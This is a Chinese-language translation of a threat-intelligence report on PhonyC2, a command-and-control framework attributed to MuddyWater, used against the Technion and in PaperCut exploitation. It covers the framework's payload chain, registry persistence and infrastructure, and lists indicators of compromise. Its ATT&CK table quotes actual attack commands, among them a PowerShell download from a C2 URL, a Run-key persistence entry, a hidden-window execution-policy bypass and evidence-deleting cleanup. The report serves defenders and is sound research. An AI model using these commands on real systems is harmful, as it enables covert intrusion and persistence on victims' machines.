Deep Instinct的威胁研究团队已经确定了一个新的C2(命令与控制)框架,C2框架是定制的,持续开发的,至少从2021年起就被MuddyWater集团使用,该框架被命名为PhonyC2,用于攻击以色列理工学院,目前被MuddyWater用于活跃的PaperCut漏洞利用活动,PhonyC2类似于之前由MuddyWater创建的C2框架——MuddyC3。MuddyWater正在不断更新PhonyC2框架并更改TTPs以避免检测,这可以从本文和PhonyC2泄露代码的调查中看到。MuddyWater使用社会工程作为其主要的初始接入点,因此它们可以感染完全打过补丁的系统,组织应继续强化系统并监视PowerShell活动。
MuddyWater,也被称为Mango Sandstorm (Mercury),是一个网络间谍组织,是某中东国家情报和安全部(MOIS)的下属机构。
2023 年 2 月,Deep Instinct 的威胁研究团队发现了三个恶意 PowerShell 脚本,这些脚本是一个名为PhonyC2_v6.zip的存档的一部分。
注意:V6 是在服务器上找到的文件夹的名称。由于这不是一个已知的 C2 框架,因此没有更新日志和版本历史记录。随着时间的推移,框架已经发生了变化,但我们不知道内部版本号,因此,我们通过唯一标识符而不是版本号来引用其他版本。
文件名激起了我们的兴趣,我们开始发现它是否是一个已知的C2框架,经过快速调查,发现C2框架是由Sicehice在一个开放目录列表的服务器中发现的。
图1:位于服务器上的文件的图片
除了PhonyC2的zip文件外,Sicehice还上传了在服务器上找到的其他文件,包括“.bash_history”文件,该文件揭示了威胁参与者在服务器上运行的命令:
图2:.bash_history文件的开头
为了更好地理解Phony C2框架,我们查看了源代码。正如我们在上面的图2中看到的,第一个感兴趣的文件是“Please_Run_Once.py”:
图4:Please_Run_Once.py代码
图5:第 13-20 行中随机 UUID 的 config.py 示例
在图 6 中,配置文件包含各种 PowerShell 命令,这些命令是框架使用的不同有效负载。
main.py 文件很小,可以启动多线程 Web 服务器和一个命令行侦听器,从这段代码中,我们看到名称“PhonyC2”在内部使用:
webserver.py 负责为 C2 框架有效负载提供服务:
图8显示了之前框架迭代中注释掉的路由名的残余部分,这些路由名在这次框架迭代中被config.py文件中的随机UUID替换(图5中的第13-20行)。
Commandline.py 接收来自命令行操作符的命令并打印 C2 执行的各种操作的输出:
图 9 和图 5 是名为“C:programdatadb.sqlite”和“db.ps1”的文件的代码,在微软关于以色列理工学院黑客攻击的报告中,这两个文件都以相同的名称和路径被提及。
虽然微软报告中的恶意文件没有公开供检查,但微软报告中出现的与PhonyC2相关的IP地址与这些文件名相结合有力地证明了在对以色列理工学院的攻击中使用了PhonyC2框架。此外,C2框架创建的文件被检测为“PowerShell/Downloader.SB”,微软在他们的博客中使用了相同的检测名称。
由于这两个文件都是由C2框架动态生成的,因此它们在框架的每次执行中略有不同,因此,阻止微软提供的哈希并不是完全有效的。
虽然看起来有很多选项和输出,但如果我们理解代码的作用,C2实际上很简单。
这个C2是一个后渗透利用框架,用于生成各种有效载荷,这些载荷连接回C2并等待操作的指令来执行“入侵杀伤链”的最后一步。
“有效载荷”命令:
PowerShell命令创建一个http请求到C2以接收一个加密文件,并将其保存为“c:programdatadb.sqlite”。 PowerShell命令将base64解码的内容写入“c:programdatadb.ps1”。
PowerShell命令执行db.ps1,然后读取和解码db.sqlite并在内存中执行结果。
从本质上讲,这是在受感染主机上执行的单行代码,因此它将信标返回到 C2。
图13:来自 C2 服务器的 HTML 响应,用于步骤 #1
“dropper”命令:
此命令仅为步骤 (1) 创建 PowerShell 命令的不同变体。
“Ex3cut3”命令:
这个命令为步骤(2)和步骤(3)创建不同的PowerShell命令变体:
如果选择了“use”命令,则其他命令可用:
“persist”和其他命令:
这些附加命令中的大多数都是不言自明的,唯一有趣的命令是“persist”。
" persist "命令用于生成PowerShell代码,使操作人员能够获得受感染主机上的持久性,以便在受感染主机重新启动时连接回C2。
此外,当操作员执行“persist”命令时,它将加密的有效载荷写入“HKLMSoftware”中预定义的随机注册表路径。这可以在commandline.py中部分看到(图22),同时一些值存储在config.py中。
加密的有效负载是“persist_payload_2022.ps1”的略微修改版本,同时该载荷也是促成整个调查分析的代码。
通过在连接到PhonyC2的机器上执行“persist”,C2将加密的有效负载写入注册表 在Windows注册表添加注册表项来运行一个启动项目录的utils.jse的脚本文件,该脚本文件实际位于C:intelutils目录 如果目录c:intelutils不存在,则创建该目录 将当前目录更改为c:intelutils 解码base64二进制代码并将其写入utils.jse
在 HKLM:\SOFTWARE\<random> (iCXqExISMHV) 上创建一个具有随机名称 (fmoopWgmBla) 的注册表项,其内容类似于以下内容:
重新启动计算机时,注册表项会执行 utils.jse 脚本
utils.jse 脚本从图 23 所示相关注册表中读取并执行内容
图 25 中的 PowerShell 代码连接到 C&C 服务器,以接收和执行类似于以下内容的代码:
PhonyC2的当前版本是用Python3编写的,它在结构和功能上与MuddyWater之前用Python2编写的自定义C2框架——MuddyC3相似。
此 IP 的被动 DNS 解析显示域 6nc110821hdb.co,此域还解析为另外两个 PowGoop 服务器:
根据Group-IB,51.255.19.178和51.255.19.179这两个服务器正在托管SimpleHelp,Group-IB还将164.132.237.64/28子网中的许多IP列为SimpleHelp服务器,这显然表明164.132.237.79在某种程度上也与MuddyWater活动有关,6nc110821hdb.co域名看起来相当可疑,经过进一步调查,我们发现了一个有趣的模式:
<3个字母><1个数字>[.]6nc<日期><可选的2个字母><可选的额外 字母>[.]co
我们检测到以下域名仍然具有被动DNS解析的活动主机。
6nc051221a[.]co
6nc051221c[.]co
6nc110821hdb[.]co
6nc060821[.]co
6nc220721[.]co
我们怀疑这些域名代表了MuddyWater在2021年注册的并在今天仍然活跃的基础设施。
还有一些我们没有找到活动基础设施的附加域,例如6nc051221b.co和6nc110821hda.co,在过去,后者是解决已知的MuddyWater基础设施。“6nc”可以理解为C&C (Six and C),是“指挥与控制”的缩写。
在2023年5月初,微软在推特上提到,他们发现MuddyWater利用了PaperCut打印管理软件中的CVE-2023-27350。虽然他们没有分享任何新的指标,但他们指出MuddyWater正在“使用先前入侵的工具连接到他们的C2基础设施”,并引用了他们关于以色列理工学院黑客的博客,我们已经确定其使用的是PhonyC2。大约在同一时间,Sophos 公布了他们看到的各种 PaperCut 入侵的指标。Deep Instinct发现这些入侵的IP地址中有两个IP地址是基于URL模式的PhonyC2服务器。
1) 185.254.37.173
此 IP 地址还托管各种有效负载。虽然我们无法检索其中的大部分,但我们能够在 Censys 中捕获服务器的目录列表。
MuddyWater不断更新C2并更改TTP以避免检测,这在整个博客中以及在调查PhonyC2泄漏的代码中都可以看到。
Deep Instinct已经观察到一个疑似PhonyC2实例,该实例使用比V6版本更新的代码版本,该代码版本在IP 195.20.17.44的URL扫描中泄露:
虽然编码的有效载荷(绿色)看起来类似于我们在V6中看到的,但MuddyWatter添加了一个伪装的HTML代码(红色)来进一步隐藏他们的活动。在PhonyC2 V6中,服务器响应仅仅是加密的有效负载,没有任何HTML。此外,服务器位置的IP地址195.20.17.44 位于以色列,我们怀疑选择此位置是为了在针对以色列组织的针对性攻击中隐藏网络流量。
在检查这个较新的PhonyC2服务器的子网195.20.17.0/24时,我们观察到许多与网络犯罪有关的IP地址,但是,其中一个IP地址195.20.17.183的被动DNS响应为am1211.iransos.me。虽然我们无法确认这个IP地址是否与MuddyWater有关,但我们怀疑整个子网都已经租给了MuddyWater使用的一些某中东国家VPS提供商。
您可以在我们的GitHub页面中找到PhonyC2和IOC的源代码。
策略 | 技术 | 描述 | 观察 |
命令与控制 | T1071.001 应用层协议:Web 协议 | Phony C2 使用 HTTP 下载经过混淆的有效负载 | http://46.249.35[.]243:443/9b22685e-f173-4feb-95a4-c63daaf40c58.html?X9GFTRD6OZE=X9GFTRD6OZ |
T1132.002 数据编码:非标准编码 | 使用自定义编码对Phony C2 有效负载进行模糊处理 | ,15555554155555554,14((1414,1554(14(,1554(14(,15415554,1554(14(,1414(,154((154,154154((,1554(154,1414(,14(14((,14((((14,154(14((,154(14((,1554(14(,154(1414,1554(154,1554(154,14(((((,1555414,14(((((,14((14(,15414(((,155414((,155414((,1554((((,155414(,1415554,1415554,154((14,1541554,154(14(,141554(,154((14,154154(,141554(,154((14,154154(,154(14(,141554(,154((14,155414(, | |
T1105 入口工具传输 | Phony C2 能够从 C2 服务器下载有效负载 | http://46.249.35[.]243:443/9b22685e-f173-4feb-95a4-c63daaf40c58.html?X9GFTRD6OZE=X9GFTRD6OZ | |
坚持 | T1547.001 启动或登录自动启动执行:注册表运行项/启动文件夹 | Phony C2 具有添加持久性机制的能力 | reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v NEW /d C:intelutilsutils.jse /f |
执行 | T1059.001 命令和脚本解释器:PowerShell | Phony C2 由 PowerShell 执行,并正在执行 PowerShell 命令 | powershell Start-Job -ScriptBlock {Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://172.16.162.1:1337/562a2ffe-a45a-4318-864b-5942fbd0a859.aspx?LY6EDE1KTNE=LY6EDE1KTNE -OutFile $input } -InputObject "c:programdatadb.sqlite";sleep 6 |
防御规避 | T1564.001隐藏构件:隐藏文件和目录 | Phony C2 正在为 C:ProgramData 中的文件设置隐藏属性 | attrib +h c:programdatadb.sqlite |
T1564.003 隐藏构件:隐藏窗口 | 执行Phony C2 以隐藏 PowerShell 窗口 | powershell -EP BYPASS -NoP -W 1 | |
T1070.004指示灯删除:文件删除 | Phony C2在执行后删除文件 | rm c:programdatadb.sqlite ; rm c:programdatadb.ps1 | |
T1112 修改注册表 | Phony C2 创建注册表项以实现持久性 | New-ItemProperty -Path "HKLM:SOFTWAREiCXqExISMHV" -Name "fmoopWgmBla" -Value '$p_id =…' |
IP地址 | 描述 |
45.159.248.244 | PhonyC2 V6 (PaperCut) |
91.121.240.104 | PhonyC2同时具有"apiy7"字符串与ETag 2aa6-5c939a3a79153(log4j) |
195.20.17.44 | 疑似PhonyC2 V7 |
45.86.230.20 | 与PhonyC2活动相关的MuddyWater基础设施(DarkBit Technion) |
137.74.131.30 | PhonyC2 同时具有"apiy7"字符串与ETag 2aa6-5c939a3a79153 |
178.32.30.3 | PhonyC2具有"apiy7"字符串 |
137.74.131.24 | PhonyC2同时具有"apiy4"字符串和/或"apiy7"字符串与ETag 2aa6-5c939a3a79153 |
46.249.35.243 | PhonyC2 V6 (DarkBit Technion) |
185.254.37.173 | PhonyC2 V6 (PaperCut) |
194.61.121.86 | PhonyC2 V6 (DarkBit Technion) |
87.236.212.22 | 疑似第一版的 PhonyC2 |
91.235.234.130 | PhonyC2 V6.zip |
157.90.153.60 | PhonyC2具有"apiy4"字符串 |
157.90.152.26 | PhonyC2具有"apiy4"字符串 |
65.21.183.238 | PhonyC2具有"apiy4"字符串 |
45.132.75.101 | 疑似MuddyWater基础设施(edc1.6nc051221c[.]co) |
51.255.19.178 | 疑似MuddyWater基础设施(pru2.6nc110821hdb[.]co) |
103.73.65.129 | 疑似MuddyWater基础设施(nno1.6nc060821[.]co) |
103.73.65.225 | 疑似MuddyWater基础设施(nno3.6nc060821[.]co) |
103.73.65.244 | 疑似MuddyWater基础设施(kwd1.6nc220721[.]co) |
103.73.65.246 | 疑似MuddyWater基础设施(kwd2.6nc220721[.]co) |
103.73.65.253 | 疑似MuddyWater基础设施(kwd3.6nc220721[.]co) |
137.74.131.16 | 疑似MuddyWater基础设施(qjk1.6nc051221c[.]co) |
137.74.131.18 | 疑似MuddyWater基础设施(qjk2.6nc051221c[.]co) |
137.74.131.25 | 疑似MuddyWater基础设施(qjk3.6nc051221c[.]co) |
164.132.237.67 | 疑似MuddyWater基础设施(tes2.6nc051221a[.]co) |
164.132.237.79 | 疑似MuddyWater基础设施(pru1.6nc110821hdb[.]co) |
SHA256 | 描述 |
7cb0cc6800772e240a12d1b87f9b7561412f44f01f6bb38829e84acbc8353b9c | db.ps1 |
5ca26988b37e8998e803a95e4e7e3102fed16e99353d040a5b22aa7e07438fea | db.sqlite |
1c95496da95ccb39d73dbbdf9088b57347f2c91cf79271ed4fe1e5da3e0e542a | utils.jse |
2f14ce9e4e8b1808393ad090289b5fa287269a878bbb406b6930a6c575d1f736 | db.ps1 |
b4b3c3ee293046e2f670026a253dc39e863037b9474774ead6757fe27b0b63c1 | db.sqlite |
b38d036bbe2d902724db04123c87aeea663c8ac4c877145ce8610618d8e6571f | utils.jse |
编辑|张维泽
审校|何双泽、金矢
本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。联系信息进入公众号后点击“关于我们”可见。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...